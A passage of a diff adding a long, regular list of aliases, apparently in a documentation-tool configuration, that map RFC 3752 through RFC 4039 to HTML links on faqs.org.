+                         "RFC3752=<a href=\"http://www.faqs.org/rfcs/rfc3752.html\">RFC 3752</a>" \
+                         "RFC3753=<a href=\"http://www.faqs.org/rfcs/rfc3753.html\">RFC 3753</a>" \
+                         "RFC3754=<a href=\"http://www.faqs.org/rfcs/rfc3754.html\">RFC 3754</a>" \
+                         "RFC3755=<a href=\"http://www.faqs.org/rfcs/rfc3755.html\">RFC 3755</a>" \
+                         "RFC3756=<a href=\"http://www.faqs.org/rfcs/rfc3756.html\">RFC 3756</a>" \
+                         "RFC3757=<a href=\"http://www.faqs.org/rfcs/rfc3757.html\">RFC 3757</a>" \
+                         "RFC3758=<a href=\"http://www.faqs.org/rfcs/rfc3758.html\">RFC 3758</a>" \
+                         "RFC3759=<a href=\"http://www.faqs.org/rfcs/rfc3759.html\">RFC 3759</a>" \
+                         "RFC3760=<a href=\"http://www.faqs.org/rfcs/rfc3760.html\">RFC 3760</a>" \
+                         "RFC3761=<a href=\"http://www.faqs.org/rfcs/rfc3761.html\">RFC 3761</a>" \
+                         "RFC3762=<a href=\"http://www.faqs.org/rfcs/rfc3762.html\">RFC 3762</a>" \
+                         "RFC3763=<a href=\"http://www.faqs.org/rfcs/rfc3763.html\">RFC 3763</a>" \
+                         "RFC3764=<a href=\"http://www.faqs.org/rfcs/rfc3764.html\">RFC 3764</a>" \
+                         "RFC3765=<a href=\"http://www.faqs.org/rfcs/rfc3765.html\">RFC 3765</a>" \
+                         "RFC3766=<a href=\"http://www.faqs.org/rfcs/rfc3766.html\">RFC 3766</a>" \
+                         "RFC3767=<a href=\"http://www.faqs.org/rfcs/rfc3767.html\">RFC 3767</a>" \
+                         "RFC3768=<a href=\"http://www.faqs.org/rfcs/rfc3768.html\">RFC 3768</a>" \
+                         "RFC3769=<a href=\"http://www.faqs.org/rfcs/rfc3769.html\">RFC 3769</a>" \
+                         "RFC3770=<a href=\"http://www.faqs.org/rfcs/rfc3770.html\">RFC 3770</a>" \
+                         "RFC3771=<a href=\"http://www.faqs.org/rfcs/rfc3771.html\">RFC 3771</a>" \
+                         "RFC3772=<a href=\"http://www.faqs.org/rfcs/rfc3772.html\">RFC 3772</a>" \
+                         "RFC3773=<a href=\"http://www.faqs.org/rfcs/rfc3773.html\">RFC 3773</a>" \
+                         "RFC3774=<a href=\"http://www.faqs.org/rfcs/rfc3774.html\">RFC 3774</a>" \
+                         "RFC3775=<a href=\"http://www.faqs.org/rfcs/rfc3775.html\">RFC 3775</a>" \
+                         "RFC3776=<a href=\"http://www.faqs.org/rfcs/rfc3776.html\">RFC 3776</a>" \
+                         "RFC3777=<a href=\"http://www.faqs.org/rfcs/rfc3777.html\">RFC 3777</a>" \
+                         "RFC3778=<a href=\"http://www.faqs.org/rfcs/rfc3778.html\">RFC 3778</a>" \
+                         "RFC3779=<a href=\"http://www.faqs.org/rfcs/rfc3779.html\">RFC 3779</a>" \
+                         "RFC3780=<a href=\"http://www.faqs.org/rfcs/rfc3780.html\">RFC 3780</a>" \
+                         "RFC3781=<a href=\"http://www.faqs.org/rfcs/rfc3781.html\">RFC 3781</a>" \
+                         "RFC3782=<a href=\"http://www.faqs.org/rfcs/rfc3782.html\">RFC 3782</a>" \
+                         "RFC3783=<a href=\"http://www.faqs.org/rfcs/rfc3783.html\">RFC 3783</a>" \
+                         "RFC3784=<a href=\"http://www.faqs.org/rfcs/rfc3784.html\">RFC 3784</a>" \
+                         "RFC3785=<a href=\"http://www.faqs.org/rfcs/rfc3785.html\">RFC 3785</a>" \
+                         "RFC3786=<a href=\"http://www.faqs.org/rfcs/rfc3786.html\">RFC 3786</a>" \
+                         "RFC3787=<a href=\"http://www.faqs.org/rfcs/rfc3787.html\">RFC 3787</a>" \
+                         "RFC3788=<a href=\"http://www.faqs.org/rfcs/rfc3788.html\">RFC 3788</a>" \
+                         "RFC3789=<a href=\"http://www.faqs.org/rfcs/rfc3789.html\">RFC 3789</a>" \
+                         "RFC3790=<a href=\"http://www.faqs.org/rfcs/rfc3790.html\">RFC 3790</a>" \
+                         "RFC3791=<a href=\"http://www.faqs.org/rfcs/rfc3791.html\">RFC 3791</a>" \
+                         "RFC3792=<a href=\"http://www.faqs.org/rfcs/rfc3792.html\">RFC 3792</a>" \
+                         "RFC3793=<a href=\"http://www.faqs.org/rfcs/rfc3793.html\">RFC 3793</a>" \
+                         "RFC3794=<a href=\"http://www.faqs.org/rfcs/rfc3794.html\">RFC 3794</a>" \
+                         "RFC3795=<a href=\"http://www.faqs.org/rfcs/rfc3795.html\">RFC 3795</a>" \
+                         "RFC3796=<a href=\"http://www.faqs.org/rfcs/rfc3796.html\">RFC 3796</a>" \
+                         "RFC3797=<a href=\"http://www.faqs.org/rfcs/rfc3797.html\">RFC 3797</a>" \
+                         "RFC3798=<a href=\"http://www.faqs.org/rfcs/rfc3798.html\">RFC 3798</a>" \
+                         "RFC3799=<a href=\"http://www.faqs.org/rfcs/rfc3799.html\">RFC 3799</a>" \
+                         "RFC3800=<a href=\"http://www.faqs.org/rfcs/rfc3800.html\">RFC 3800</a>" \
+                         "RFC3801=<a href=\"http://www.faqs.org/rfcs/rfc3801.html\">RFC 3801</a>" \
+                         "RFC3802=<a href=\"http://www.faqs.org/rfcs/rfc3802.html\">RFC 3802</a>" \
+                         "RFC3803=<a href=\"http://www.faqs.org/rfcs/rfc3803.html\">RFC 3803</a>" \
+                         "RFC3804=<a href=\"http://www.faqs.org/rfcs/rfc3804.html\">RFC 3804</a>" \
+                         "RFC3805=<a href=\"http://www.faqs.org/rfcs/rfc3805.html\">RFC 3805</a>" \
+                         "RFC3806=<a href=\"http://www.faqs.org/rfcs/rfc3806.html\">RFC 3806</a>" \
+                         "RFC3807=<a href=\"http://www.faqs.org/rfcs/rfc3807.html\">RFC 3807</a>" \
+                         "RFC3808=<a href=\"http://www.faqs.org/rfcs/rfc3808.html\">RFC 3808</a>" \
+                         "RFC3809=<a href=\"http://www.faqs.org/rfcs/rfc3809.html\">RFC 3809</a>" \
+                         "RFC3810=<a href=\"http://www.faqs.org/rfcs/rfc3810.html\">RFC 3810</a>" \
+                         "RFC3811=<a href=\"http://www.faqs.org/rfcs/rfc3811.html\">RFC 3811</a>" \
+                         "RFC3812=<a href=\"http://www.faqs.org/rfcs/rfc3812.html\">RFC 3812</a>" \
+                         "RFC3813=<a href=\"http://www.faqs.org/rfcs/rfc3813.html\">RFC 3813</a>" \
+                         "RFC3814=<a href=\"http://www.faqs.org/rfcs/rfc3814.html\">RFC 3814</a>" \
+                         "RFC3815=<a href=\"http://www.faqs.org/rfcs/rfc3815.html\">RFC 3815</a>" \
+                         "RFC3816=<a href=\"http://www.faqs.org/rfcs/rfc3816.html\">RFC 3816</a>" \
+                         "RFC3817=<a href=\"http://www.faqs.org/rfcs/rfc3817.html\">RFC 3817</a>" \
+                         "RFC3818=<a href=\"http://www.faqs.org/rfcs/rfc3818.html\">RFC 3818</a>" \
+                         "RFC3819=<a href=\"http://www.faqs.org/rfcs/rfc3819.html\">RFC 3819</a>" \
+                         "RFC3820=<a href=\"http://www.faqs.org/rfcs/rfc3820.html\">RFC 3820</a>" \
+                         "RFC3821=<a href=\"http://www.faqs.org/rfcs/rfc3821.html\">RFC 3821</a>" \
+                         "RFC3822=<a href=\"http://www.faqs.org/rfcs/rfc3822.html\">RFC 3822</a>" \
+                         "RFC3823=<a href=\"http://www.faqs.org/rfcs/rfc3823.html\">RFC 3823</a>" \
+                         "RFC3824=<a href=\"http://www.faqs.org/rfcs/rfc3824.html\">RFC 3824</a>" \
+                         "RFC3825=<a href=\"http://www.faqs.org/rfcs/rfc3825.html\">RFC 3825</a>" \
+                         "RFC3826=<a href=\"http://www.faqs.org/rfcs/rfc3826.html\">RFC 3826</a>" \
+                         "RFC3827=<a href=\"http://www.faqs.org/rfcs/rfc3827.html\">RFC 3827</a>" \
+                         "RFC3828=<a href=\"http://www.faqs.org/rfcs/rfc3828.html\">RFC 3828</a>" \
+                         "RFC3829=<a href=\"http://www.faqs.org/rfcs/rfc3829.html\">RFC 3829</a>" \
+                         "RFC3830=<a href=\"http://www.faqs.org/rfcs/rfc3830.html\">RFC 3830</a>" \
+                         "RFC3831=<a href=\"http://www.faqs.org/rfcs/rfc3831.html\">RFC 3831</a>" \
+                         "RFC3832=<a href=\"http://www.faqs.org/rfcs/rfc3832.html\">RFC 3832</a>" \
+                         "RFC3833=<a href=\"http://www.faqs.org/rfcs/rfc3833.html\">RFC 3833</a>" \
+                         "RFC3834=<a href=\"http://www.faqs.org/rfcs/rfc3834.html\">RFC 3834</a>" \
+                         "RFC3835=<a href=\"http://www.faqs.org/rfcs/rfc3835.html\">RFC 3835</a>" \
+                         "RFC3836=<a href=\"http://www.faqs.org/rfcs/rfc3836.html\">RFC 3836</a>" \
+                         "RFC3837=<a href=\"http://www.faqs.org/rfcs/rfc3837.html\">RFC 3837</a>" \
+                         "RFC3838=<a href=\"http://www.faqs.org/rfcs/rfc3838.html\">RFC 3838</a>" \
+                         "RFC3839=<a href=\"http://www.faqs.org/rfcs/rfc3839.html\">RFC 3839</a>" \
+                         "RFC3840=<a href=\"http://www.faqs.org/rfcs/rfc3840.html\">RFC 3840</a>" \
+                         "RFC3841=<a href=\"http://www.faqs.org/rfcs/rfc3841.html\">RFC 3841</a>" \
+                         "RFC3842=<a href=\"http://www.faqs.org/rfcs/rfc3842.html\">RFC 3842</a>" \
+                         "RFC3843=<a href=\"http://www.faqs.org/rfcs/rfc3843.html\">RFC 3843</a>" \
+                         "RFC3844=<a href=\"http://www.faqs.org/rfcs/rfc3844.html\">RFC 3844</a>" \
+                         "RFC3845=<a href=\"http://www.faqs.org/rfcs/rfc3845.html\">RFC 3845</a>" \
+                         "RFC3846=<a href=\"http://www.faqs.org/rfcs/rfc3846.html\">RFC 3846</a>" \
+                         "RFC3847=<a href=\"http://www.faqs.org/rfcs/rfc3847.html\">RFC 3847</a>" \
+                         "RFC3848=<a href=\"http://www.faqs.org/rfcs/rfc3848.html\">RFC 3848</a>" \
+                         "RFC3849=<a href=\"http://www.faqs.org/rfcs/rfc3849.html\">RFC 3849</a>" \
+                         "RFC3850=<a href=\"http://www.faqs.org/rfcs/rfc3850.html\">RFC 3850</a>" \
+                         "RFC3851=<a href=\"http://www.faqs.org/rfcs/rfc3851.html\">RFC 3851</a>" \
+                         "RFC3852=<a href=\"http://www.faqs.org/rfcs/rfc3852.html\">RFC 3852</a>" \
+                         "RFC3853=<a href=\"http://www.faqs.org/rfcs/rfc3853.html\">RFC 3853</a>" \
+                         "RFC3854=<a href=\"http://www.faqs.org/rfcs/rfc3854.html\">RFC 3854</a>" \
+                         "RFC3855=<a href=\"http://www.faqs.org/rfcs/rfc3855.html\">RFC 3855</a>" \
+                         "RFC3856=<a href=\"http://www.faqs.org/rfcs/rfc3856.html\">RFC 3856</a>" \
+                         "RFC3857=<a href=\"http://www.faqs.org/rfcs/rfc3857.html\">RFC 3857</a>" \
+                         "RFC3858=<a href=\"http://www.faqs.org/rfcs/rfc3858.html\">RFC 3858</a>" \
+                         "RFC3859=<a href=\"http://www.faqs.org/rfcs/rfc3859.html\">RFC 3859</a>" \
+                         "RFC3860=<a href=\"http://www.faqs.org/rfcs/rfc3860.html\">RFC 3860</a>" \
+                         "RFC3861=<a href=\"http://www.faqs.org/rfcs/rfc3861.html\">RFC 3861</a>" \
+                         "RFC3862=<a href=\"http://www.faqs.org/rfcs/rfc3862.html\">RFC 3862</a>" \
+                         "RFC3863=<a href=\"http://www.faqs.org/rfcs/rfc3863.html\">RFC 3863</a>" \
+                         "RFC3864=<a href=\"http://www.faqs.org/rfcs/rfc3864.html\">RFC 3864</a>" \
+                         "RFC3865=<a href=\"http://www.faqs.org/rfcs/rfc3865.html\">RFC 3865</a>" \
+                         "RFC3866=<a href=\"http://www.faqs.org/rfcs/rfc3866.html\">RFC 3866</a>" \
+                         "RFC3867=<a href=\"http://www.faqs.org/rfcs/rfc3867.html\">RFC 3867</a>" \
+                         "RFC3868=<a href=\"http://www.faqs.org/rfcs/rfc3868.html\">RFC 3868</a>" \
+                         "RFC3869=<a href=\"http://www.faqs.org/rfcs/rfc3869.html\">RFC 3869</a>" \
+                         "RFC3870=<a href=\"http://www.faqs.org/rfcs/rfc3870.html\">RFC 3870</a>" \
+                         "RFC3871=<a href=\"http://www.faqs.org/rfcs/rfc3871.html\">RFC 3871</a>" \
+                         "RFC3872=<a href=\"http://www.faqs.org/rfcs/rfc3872.html\">RFC 3872</a>" \
+                         "RFC3873=<a href=\"http://www.faqs.org/rfcs/rfc3873.html\">RFC 3873</a>" \
+                         "RFC3874=<a href=\"http://www.faqs.org/rfcs/rfc3874.html\">RFC 3874</a>" \
+                         "RFC3875=<a href=\"http://www.faqs.org/rfcs/rfc3875.html\">RFC 3875</a>" \
+                         "RFC3876=<a href=\"http://www.faqs.org/rfcs/rfc3876.html\">RFC 3876</a>" \
+                         "RFC3877=<a href=\"http://www.faqs.org/rfcs/rfc3877.html\">RFC 3877</a>" \
+                         "RFC3878=<a href=\"http://www.faqs.org/rfcs/rfc3878.html\">RFC 3878</a>" \
+                         "RFC3879=<a href=\"http://www.faqs.org/rfcs/rfc3879.html\">RFC 3879</a>" \
+                         "RFC3880=<a href=\"http://www.faqs.org/rfcs/rfc3880.html\">RFC 3880</a>" \
+                         "RFC3881=<a href=\"http://www.faqs.org/rfcs/rfc3881.html\">RFC 3881</a>" \
+                         "RFC3882=<a href=\"http://www.faqs.org/rfcs/rfc3882.html\">RFC 3882</a>" \
+                         "RFC3883=<a href=\"http://www.faqs.org/rfcs/rfc3883.html\">RFC 3883</a>" \
+                         "RFC3884=<a href=\"http://www.faqs.org/rfcs/rfc3884.html\">RFC 3884</a>" \
+                         "RFC3885=<a href=\"http://www.faqs.org/rfcs/rfc3885.html\">RFC 3885</a>" \
+                         "RFC3886=<a href=\"http://www.faqs.org/rfcs/rfc3886.html\">RFC 3886</a>" \
+                         "RFC3887=<a href=\"http://www.faqs.org/rfcs/rfc3887.html\">RFC 3887</a>" \
+                         "RFC3888=<a href=\"http://www.faqs.org/rfcs/rfc3888.html\">RFC 3888</a>" \
+                         "RFC3889=<a href=\"http://www.faqs.org/rfcs/rfc3889.html\">RFC 3889</a>" \
+                         "RFC3890=<a href=\"http://www.faqs.org/rfcs/rfc3890.html\">RFC 3890</a>" \
+                         "RFC3891=<a href=\"http://www.faqs.org/rfcs/rfc3891.html\">RFC 3891</a>" \
+                         "RFC3892=<a href=\"http://www.faqs.org/rfcs/rfc3892.html\">RFC 3892</a>" \
+                         "RFC3893=<a href=\"http://www.faqs.org/rfcs/rfc3893.html\">RFC 3893</a>" \
+                         "RFC3894=<a href=\"http://www.faqs.org/rfcs/rfc3894.html\">RFC 3894</a>" \
+                         "RFC3895=<a href=\"http://www.faqs.org/rfcs/rfc3895.html\">RFC 3895</a>" \
+                         "RFC3896=<a href=\"http://www.faqs.org/rfcs/rfc3896.html\">RFC 3896</a>" \
+                         "RFC3897=<a href=\"http://www.faqs.org/rfcs/rfc3897.html\">RFC 3897</a>" \
+                         "RFC3898=<a href=\"http://www.faqs.org/rfcs/rfc3898.html\">RFC 3898</a>" \
+                         "RFC3899=<a href=\"http://www.faqs.org/rfcs/rfc3899.html\">RFC 3899</a>" \
+                         "RFC3900=<a href=\"http://www.faqs.org/rfcs/rfc3900.html\">RFC 3900</a>" \
+                         "RFC3901=<a href=\"http://www.faqs.org/rfcs/rfc3901.html\">RFC 3901</a>" \
+                         "RFC3902=<a href=\"http://www.faqs.org/rfcs/rfc3902.html\">RFC 3902</a>" \
+                         "RFC3903=<a href=\"http://www.faqs.org/rfcs/rfc3903.html\">RFC 3903</a>" \
+                         "RFC3904=<a href=\"http://www.faqs.org/rfcs/rfc3904.html\">RFC 3904</a>" \
+                         "RFC3905=<a href=\"http://www.faqs.org/rfcs/rfc3905.html\">RFC 3905</a>" \
+                         "RFC3906=<a href=\"http://www.faqs.org/rfcs/rfc3906.html\">RFC 3906</a>" \
+                         "RFC3907=<a href=\"http://www.faqs.org/rfcs/rfc3907.html\">RFC 3907</a>" \
+                         "RFC3908=<a href=\"http://www.faqs.org/rfcs/rfc3908.html\">RFC 3908</a>" \
+                         "RFC3909=<a href=\"http://www.faqs.org/rfcs/rfc3909.html\">RFC 3909</a>" \
+                         "RFC3910=<a href=\"http://www.faqs.org/rfcs/rfc3910.html\">RFC 3910</a>" \
+                         "RFC3911=<a href=\"http://www.faqs.org/rfcs/rfc3911.html\">RFC 3911</a>" \
+                         "RFC3912=<a href=\"http://www.faqs.org/rfcs/rfc3912.html\">RFC 3912</a>" \
+                         "RFC3913=<a href=\"http://www.faqs.org/rfcs/rfc3913.html\">RFC 3913</a>" \
+                         "RFC3914=<a href=\"http://www.faqs.org/rfcs/rfc3914.html\">RFC 3914</a>" \
+                         "RFC3915=<a href=\"http://www.faqs.org/rfcs/rfc3915.html\">RFC 3915</a>" \
+                         "RFC3916=<a href=\"http://www.faqs.org/rfcs/rfc3916.html\">RFC 3916</a>" \
+                         "RFC3917=<a href=\"http://www.faqs.org/rfcs/rfc3917.html\">RFC 3917</a>" \
+                         "RFC3918=<a href=\"http://www.faqs.org/rfcs/rfc3918.html\">RFC 3918</a>" \
+                         "RFC3919=<a href=\"http://www.faqs.org/rfcs/rfc3919.html\">RFC 3919</a>" \
+                         "RFC3920=<a href=\"http://www.faqs.org/rfcs/rfc3920.html\">RFC 3920</a>" \
+                         "RFC3921=<a href=\"http://www.faqs.org/rfcs/rfc3921.html\">RFC 3921</a>" \
+                         "RFC3922=<a href=\"http://www.faqs.org/rfcs/rfc3922.html\">RFC 3922</a>" \
+                         "RFC3923=<a href=\"http://www.faqs.org/rfcs/rfc3923.html\">RFC 3923</a>" \
+                         "RFC3924=<a href=\"http://www.faqs.org/rfcs/rfc3924.html\">RFC 3924</a>" \
+                         "RFC3925=<a href=\"http://www.faqs.org/rfcs/rfc3925.html\">RFC 3925</a>" \
+                         "RFC3926=<a href=\"http://www.faqs.org/rfcs/rfc3926.html\">RFC 3926</a>" \
+                         "RFC3927=<a href=\"http://www.faqs.org/rfcs/rfc3927.html\">RFC 3927</a>" \
+                         "RFC3928=<a href=\"http://www.faqs.org/rfcs/rfc3928.html\">RFC 3928</a>" \
+                         "RFC3929=<a href=\"http://www.faqs.org/rfcs/rfc3929.html\">RFC 3929</a>" \
+                         "RFC3930=<a href=\"http://www.faqs.org/rfcs/rfc3930.html\">RFC 3930</a>" \
+                         "RFC3931=<a href=\"http://www.faqs.org/rfcs/rfc3931.html\">RFC 3931</a>" \
+                         "RFC3932=<a href=\"http://www.faqs.org/rfcs/rfc3932.html\">RFC 3932</a>" \
+                         "RFC3933=<a href=\"http://www.faqs.org/rfcs/rfc3933.html\">RFC 3933</a>" \
+                         "RFC3934=<a href=\"http://www.faqs.org/rfcs/rfc3934.html\">RFC 3934</a>" \
+                         "RFC3935=<a href=\"http://www.faqs.org/rfcs/rfc3935.html\">RFC 3935</a>" \
+                         "RFC3936=<a href=\"http://www.faqs.org/rfcs/rfc3936.html\">RFC 3936</a>" \
+                         "RFC3937=<a href=\"http://www.faqs.org/rfcs/rfc3937.html\">RFC 3937</a>" \
+                         "RFC3938=<a href=\"http://www.faqs.org/rfcs/rfc3938.html\">RFC 3938</a>" \
+                         "RFC3939=<a href=\"http://www.faqs.org/rfcs/rfc3939.html\">RFC 3939</a>" \
+                         "RFC3940=<a href=\"http://www.faqs.org/rfcs/rfc3940.html\">RFC 3940</a>" \
+                         "RFC3941=<a href=\"http://www.faqs.org/rfcs/rfc3941.html\">RFC 3941</a>" \
+                         "RFC3942=<a href=\"http://www.faqs.org/rfcs/rfc3942.html\">RFC 3942</a>" \
+                         "RFC3943=<a href=\"http://www.faqs.org/rfcs/rfc3943.html\">RFC 3943</a>" \
+                         "RFC3944=<a href=\"http://www.faqs.org/rfcs/rfc3944.html\">RFC 3944</a>" \
+                         "RFC3945=<a href=\"http://www.faqs.org/rfcs/rfc3945.html\">RFC 3945</a>" \
+                         "RFC3946=<a href=\"http://www.faqs.org/rfcs/rfc3946.html\">RFC 3946</a>" \
+                         "RFC3947=<a href=\"http://www.faqs.org/rfcs/rfc3947.html\">RFC 3947</a>" \
+                         "RFC3948=<a href=\"http://www.faqs.org/rfcs/rfc3948.html\">RFC 3948</a>" \
+                         "RFC3949=<a href=\"http://www.faqs.org/rfcs/rfc3949.html\">RFC 3949</a>" \
+                         "RFC3950=<a href=\"http://www.faqs.org/rfcs/rfc3950.html\">RFC 3950</a>" \
+                         "RFC3951=<a href=\"http://www.faqs.org/rfcs/rfc3951.html\">RFC 3951</a>" \
+                         "RFC3952=<a href=\"http://www.faqs.org/rfcs/rfc3952.html\">RFC 3952</a>" \
+                         "RFC3953=<a href=\"http://www.faqs.org/rfcs/rfc3953.html\">RFC 3953</a>" \
+                         "RFC3954=<a href=\"http://www.faqs.org/rfcs/rfc3954.html\">RFC 3954</a>" \
+                         "RFC3955=<a href=\"http://www.faqs.org/rfcs/rfc3955.html\">RFC 3955</a>" \
+                         "RFC3956=<a href=\"http://www.faqs.org/rfcs/rfc3956.html\">RFC 3956</a>" \
+                         "RFC3957=<a href=\"http://www.faqs.org/rfcs/rfc3957.html\">RFC 3957</a>" \
+                         "RFC3958=<a href=\"http://www.faqs.org/rfcs/rfc3958.html\">RFC 3958</a>" \
+                         "RFC3959=<a href=\"http://www.faqs.org/rfcs/rfc3959.html\">RFC 3959</a>" \
+                         "RFC3960=<a href=\"http://www.faqs.org/rfcs/rfc3960.html\">RFC 3960</a>" \
+                         "RFC3961=<a href=\"http://www.faqs.org/rfcs/rfc3961.html\">RFC 3961</a>" \
+                         "RFC3962=<a href=\"http://www.faqs.org/rfcs/rfc3962.html\">RFC 3962</a>" \
+                         "RFC3963=<a href=\"http://www.faqs.org/rfcs/rfc3963.html\">RFC 3963</a>" \
+                         "RFC3964=<a href=\"http://www.faqs.org/rfcs/rfc3964.html\">RFC 3964</a>" \
+                         "RFC3965=<a href=\"http://www.faqs.org/rfcs/rfc3965.html\">RFC 3965</a>" \
+                         "RFC3966=<a href=\"http://www.faqs.org/rfcs/rfc3966.html\">RFC 3966</a>" \
+                         "RFC3967=<a href=\"http://www.faqs.org/rfcs/rfc3967.html\">RFC 3967</a>" \
+                         "RFC3968=<a href=\"http://www.faqs.org/rfcs/rfc3968.html\">RFC 3968</a>" \
+                         "RFC3969=<a href=\"http://www.faqs.org/rfcs/rfc3969.html\">RFC 3969</a>" \
+                         "RFC3970=<a href=\"http://www.faqs.org/rfcs/rfc3970.html\">RFC 3970</a>" \
+                         "RFC3971=<a href=\"http://www.faqs.org/rfcs/rfc3971.html\">RFC 3971</a>" \
+                         "RFC3972=<a href=\"http://www.faqs.org/rfcs/rfc3972.html\">RFC 3972</a>" \
+                         "RFC3973=<a href=\"http://www.faqs.org/rfcs/rfc3973.html\">RFC 3973</a>" \
+                         "RFC3974=<a href=\"http://www.faqs.org/rfcs/rfc3974.html\">RFC 3974</a>" \
+                         "RFC3975=<a href=\"http://www.faqs.org/rfcs/rfc3975.html\">RFC 3975</a>" \
+                         "RFC3976=<a href=\"http://www.faqs.org/rfcs/rfc3976.html\">RFC 3976</a>" \
+                         "RFC3977=<a href=\"http://www.faqs.org/rfcs/rfc3977.html\">RFC 3977</a>" \
+                         "RFC3978=<a href=\"http://www.faqs.org/rfcs/rfc3978.html\">RFC 3978</a>" \
+                         "RFC3979=<a href=\"http://www.faqs.org/rfcs/rfc3979.html\">RFC 3979</a>" \
+                         "RFC3980=<a href=\"http://www.faqs.org/rfcs/rfc3980.html\">RFC 3980</a>" \
+                         "RFC3981=<a href=\"http://www.faqs.org/rfcs/rfc3981.html\">RFC 3981</a>" \
+                         "RFC3982=<a href=\"http://www.faqs.org/rfcs/rfc3982.html\">RFC 3982</a>" \
+                         "RFC3983=<a href=\"http://www.faqs.org/rfcs/rfc3983.html\">RFC 3983</a>" \
+                         "RFC3984=<a href=\"http://www.faqs.org/rfcs/rfc3984.html\">RFC 3984</a>" \
+                         "RFC3985=<a href=\"http://www.faqs.org/rfcs/rfc3985.html\">RFC 3985</a>" \
+                         "RFC3986=<a href=\"http://www.faqs.org/rfcs/rfc3986.html\">RFC 3986</a>" \
+                         "RFC3987=<a href=\"http://www.faqs.org/rfcs/rfc3987.html\">RFC 3987</a>" \
+                         "RFC3988=<a href=\"http://www.faqs.org/rfcs/rfc3988.html\">RFC 3988</a>" \
+                         "RFC3989=<a href=\"http://www.faqs.org/rfcs/rfc3989.html\">RFC 3989</a>" \
+                         "RFC3990=<a href=\"http://www.faqs.org/rfcs/rfc3990.html\">RFC 3990</a>" \
+                         "RFC3991=<a href=\"http://www.faqs.org/rfcs/rfc3991.html\">RFC 3991</a>" \
+                         "RFC3992=<a href=\"http://www.faqs.org/rfcs/rfc3992.html\">RFC 3992</a>" \
+                         "RFC3993=<a href=\"http://www.faqs.org/rfcs/rfc3993.html\">RFC 3993</a>" \
+                         "RFC3994=<a href=\"http://www.faqs.org/rfcs/rfc3994.html\">RFC 3994</a>" \
+                         "RFC3995=<a href=\"http://www.faqs.org/rfcs/rfc3995.html\">RFC 3995</a>" \
+                         "RFC3996=<a href=\"http://www.faqs.org/rfcs/rfc3996.html\">RFC 3996</a>" \
+                         "RFC3997=<a href=\"http://www.faqs.org/rfcs/rfc3997.html\">RFC 3997</a>" \
+                         "RFC3998=<a href=\"http://www.faqs.org/rfcs/rfc3998.html\">RFC 3998</a>" \
+                         "RFC3999=<a href=\"http://www.faqs.org/rfcs/rfc3999.html\">RFC 3999</a>" \
+                         "RFC4000=<a href=\"http://www.faqs.org/rfcs/rfc4000.html\">RFC 4000</a>" \
+                         "RFC4001=<a href=\"http://www.faqs.org/rfcs/rfc4001.html\">RFC 4001</a>" \
+                         "RFC4002=<a href=\"http://www.faqs.org/rfcs/rfc4002.html\">RFC 4002</a>" \
+                         "RFC4003=<a href=\"http://www.faqs.org/rfcs/rfc4003.html\">RFC 4003</a>" \
+                         "RFC4004=<a href=\"http://www.faqs.org/rfcs/rfc4004.html\">RFC 4004</a>" \
+                         "RFC4005=<a href=\"http://www.faqs.org/rfcs/rfc4005.html\">RFC 4005</a>" \
+                         "RFC4006=<a href=\"http://www.faqs.org/rfcs/rfc4006.html\">RFC 4006</a>" \
+                         "RFC4007=<a href=\"http://www.faqs.org/rfcs/rfc4007.html\">RFC 4007</a>" \
+                         "RFC4008=<a href=\"http://www.faqs.org/rfcs/rfc4008.html\">RFC 4008</a>" \
+                         "RFC4009=<a href=\"http://www.faqs.org/rfcs/rfc4009.html\">RFC 4009</a>" \
+                         "RFC4010=<a href=\"http://www.faqs.org/rfcs/rfc4010.html\">RFC 4010</a>" \
+                         "RFC4011=<a href=\"http://www.faqs.org/rfcs/rfc4011.html\">RFC 4011</a>" \
+                         "RFC4012=<a href=\"http://www.faqs.org/rfcs/rfc4012.html\">RFC 4012</a>" \
+                         "RFC4013=<a href=\"http://www.faqs.org/rfcs/rfc4013.html\">RFC 4013</a>" \
+                         "RFC4014=<a href=\"http://www.faqs.org/rfcs/rfc4014.html\">RFC 4014</a>" \
+                         "RFC4015=<a href=\"http://www.faqs.org/rfcs/rfc4015.html\">RFC 4015</a>" \
+                         "RFC4016=<a href=\"http://www.faqs.org/rfcs/rfc4016.html\">RFC 4016</a>" \
+                         "RFC4017=<a href=\"http://www.faqs.org/rfcs/rfc4017.html\">RFC 4017</a>" \
+                         "RFC4018=<a href=\"http://www.faqs.org/rfcs/rfc4018.html\">RFC 4018</a>" \
+                         "RFC4019=<a href=\"http://www.faqs.org/rfcs/rfc4019.html\">RFC 4019</a>" \
+                         "RFC4020=<a href=\"http://www.faqs.org/rfcs/rfc4020.html\">RFC 4020</a>" \
+                         "RFC4021=<a href=\"http://www.faqs.org/rfcs/rfc4021.html\">RFC 4021</a>" \
+                         "RFC4022=<a href=\"http://www.faqs.org/rfcs/rfc4022.html\">RFC 4022</a>" \
+                         "RFC4023=<a href=\"http://www.faqs.org/rfcs/rfc4023.html\">RFC 4023</a>" \
+                         "RFC4024=<a href=\"http://www.faqs.org/rfcs/rfc4024.html\">RFC 4024</a>" \
+                         "RFC4025=<a href=\"http://www.faqs.org/rfcs/rfc4025.html\">RFC 4025</a>" \
+                         "RFC4026=<a href=\"http://www.faqs.org/rfcs/rfc4026.html\">RFC 4026</a>" \
+                         "RFC4027=<a href=\"http://www.faqs.org/rfcs/rfc4027.html\">RFC 4027</a>" \
+                         "RFC4028=<a href=\"http://www.faqs.org/rfcs/rfc4028.html\">RFC 4028</a>" \
+                         "RFC4029=<a href=\"http://www.faqs.org/rfcs/rfc4029.html\">RFC 4029</a>" \
+                         "RFC4030=<a href=\"http://www.faqs.org/rfcs/rfc4030.html\">RFC 4030</a>" \
+                         "RFC4031=<a href=\"http://www.faqs.org/rfcs/rfc4031.html\">RFC 4031</a>" \
+                         "RFC4032=<a href=\"http://www.faqs.org/rfcs/rfc4032.html\">RFC 4032</a>" \
+                         "RFC4033=<a href=\"http://www.faqs.org/rfcs/rfc4033.html\">RFC 4033</a>" \
+                         "RFC4034=<a href=\"http://www.faqs.org/rfcs/rfc4034.html\">RFC 4034</a>" \
+                         "RFC4035=<a href=\"http://www.faqs.org/rfcs/rfc4035.html\">RFC 4035</a>" \
+                         "RFC4036=<a href=\"http://www.faqs.org/rfcs/rfc4036.html\">RFC 4036</a>" \
+                         "RFC4037=<a href=\"http://www.faqs.org/rfcs/rfc4037.html\">RFC 4037</a>" \
+                         "RFC4038=<a href=\"http://www.faqs.org/rfcs/rfc4038.html\">RFC 4038</a>" \
+                         "RFC4039=<a href=\"http://www.faqs.org/rfcs/rfc4039.html\">RFC 4039</a>" \
